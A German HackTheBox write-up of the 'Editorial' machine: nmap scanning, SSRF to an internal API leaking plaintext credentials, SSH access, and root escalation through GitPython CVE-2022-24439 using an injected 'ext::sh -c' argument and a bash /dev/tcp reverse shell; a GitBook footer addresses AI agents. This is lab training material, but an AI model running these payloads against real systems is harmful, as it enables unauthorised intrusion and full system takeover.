> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Editorial-HackTheBox-Lösung

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SSRF
* Git-Protokoll
* Git Python
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/f09f261a4db03d939de8f2b62ff616ffda1d2c1b" alt=""><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/3ba4af655015132eaab8cb7193c1b35be0976588" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="/files/b309ee0596456e7848781cd468b80b9a3c762924" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="/files/6fbf709a144cfbcde7f48ba55baed4e615333a5a" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="/files/7b881419b2c58c649554b6e08dba8f5e3b82ded7" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/4120edc420500106769a565b0df2c5552e654e7a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a43de3638023a6c00721a4457e69c427a3522592" alt=""><figcaption></figcaption></figure>

## Schwachstelle [SSRF](/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

Die Schaltfläche „Browse“ ermöglicht es uns, eine Datei herunterzuladen, die angeblich ein Bild ist, das das Cover eines Buches darstellt. Während das Textfeld „Cover URL linked to your book“ es ermöglicht, eine URL einzugeben, damit sie vom Dienst angezeigt werden kann und ein Bild hochgeladen werden kann.

<figure><img src="/files/45cf75d34f9a45f4d7942a793f8d27ebad152338" alt=""><figcaption></figcaption></figure>

#### **Öffnung** [**Burp Suite**](/de/hacking-tools/web/burpsuite.md)**:**

Wenn ein Bild auf den Server hochgeladen wird, wird ein Link zu seinem Speicherort bereitgestellt.

<figure><img src="/files/50e2b69602e018c3265a5259add19bd919dbd1dc" alt=""><figcaption></figcaption></figure>

Anschließend führen wir einen Brute-Force-Angriff auf alle 65.535 Ports durch und sehen, dass nur Port 5000 eine andere Antwort zurückgibt.

<figure><img src="/files/9b5c68c78b5ae15787f92332d525a21c1644bd67" alt=""><figcaption></figcaption></figure>

Durch das Prüfen des Inhalts des internen Ports 5000 entdecken wir, dass dort das Herunterladen einer Datei möglich ist.

<figure><img src="/files/7270805910bd47bf61a8a7cbd73339fff07d41aa" alt=""><figcaption></figcaption></figure>

Diese Datei im JSON-Format listet interne APIs mit ihren zugehörigen Routen auf. Unter ihnen ist die `message/authors` Route scheint besonders kritisch zu sein.

<figure><img src="/files/15faaa29f9a355400860e3ed4adb0f219e8863ca" alt=""><figcaption></figcaption></figure>

Mit Burp Suite greifen wir daher über Port 5000 unter der folgenden Adresse auf die Datei zu:

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="/files/f649df03a2db62d6fba53a6bd5bdc9f6778ba2e3" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/97e283c4d3c41dc4b5b1db4b600491941c622677" alt=""><figcaption></figcaption></figure>

In dieser Datei finden wir außerdem einen Klartext-Benutzernamen und ein Passwort `dev:dev080217_devAPI!@`

<figure><img src="/files/9b67e9ac148ac5d516fd3665cd8617fcc8e1cfef" alt=""><figcaption></figcaption></figure>

Wir versuchen dann, uns mit `SSH` über Port 22 zu verbinden, der offen ist, und erhalten erfolgreich die User-Flag.

<figure><img src="/files/fa1bff3929b62167ef85b73cf1cac7f11a155bc5" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

#### Nach dem Zugriff auf den Linux-Server wird empfohlen, die folgenden Befehle im Terminal auszuführen, um die Arbeitseffizienz und den Komfort zu optimieren:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

Beim Navigieren zum Root-Verzeichnis des Systems sehen wir, dass zwei Benutzer vorhanden sind: **dev** und **prod**.

<figure><img src="/files/2ef9f9f101ded170ca37434a01bc385780f9f823" alt="" width="543"><figcaption></figcaption></figure>

Der Benutzer **dev** hat zwei sichtbare Ordner und einen versteckten Ordner namens "git". Beim Ausführen des `git log` Befehls beobachten wir zwei unterschiedliche Commits.

<figure><img src="/files/aebc42dafc1bacfcb4e1aeac6a6181ab92520033" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b7f4ea9a88d39ade9020dcf956991cbeca11f1a9" alt=""><figcaption></figcaption></figure>

Unter diesen Commits erscheint das Passwort des Benutzers **prod** im Klartext: `prod:080217_Producti0n_2023!@`.

<figure><img src="/files/ba22dde9d0884959cf85b3baa11213e0df468df9" alt=""><figcaption></figcaption></figure>

Anschließend melden wir uns per SSH als Benutzer **prod**.

<figure><img src="/files/7e0ca0d3bb71db0741a534c61793dc928eae0f43" alt=""><figcaption></figcaption></figure>

### Sudoers:

Durch Ausführen des `sudo -l` Befehls stellen wir fest, dass wir die Möglichkeit haben, ein Skript als **root**.

<figure><img src="/files/ace5f971a625c530bad925eb8a70c5b88123e938" alt=""><figcaption></figcaption></figure>

Eine verwundbare Version der Git-Bibliothek, identifiziert durch die `clone_from` Funktion, ist vorhanden. Durch die Anzeige der Liste der Python-Pakete mit `pip3 list`, fällt uns auf, dass **GitPython 3.1.29** installiert ist, eine Version, die für die Schwachstelle bekannt ist **CVE-2022-24439**, die die Ausführung beliebigen Codes ermöglicht. Diese Schwachstelle kann wie folgt ausgenutzt werden:

<figure><img src="/files/a08dbf8abed8107be4db1e2a2f2d9af843d8b3a4" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

Wir werden im temporären Verzeichnis ein Exploit-Skript erstellen, um eine Reverse Shell zu erhalten:

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="/files/81b07acf155e05e6b41cb2b0d5375b7c8752a9a8" alt=""><figcaption></figcaption></figure></div>

Dann lauschen wir auf unserem Rechner auf Port 4444 mit **netcat**

<figure><img src="/files/70b6f3651bc76144865c15ad2fc8dbfa723dd85e" alt="" width="502"><figcaption></figcaption></figure>

Schließlich führen wir die Binärdatei mit **sudo**, indem wir unsere Payload hinzufügen:

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### Root-Flag : )

<div align="right"><figure><img src="/files/5eb8a3ff68daaef839c1e962f998e391c6508d85" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/74c2bc94ac5f5b9486d61b20a6430d4698952137" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
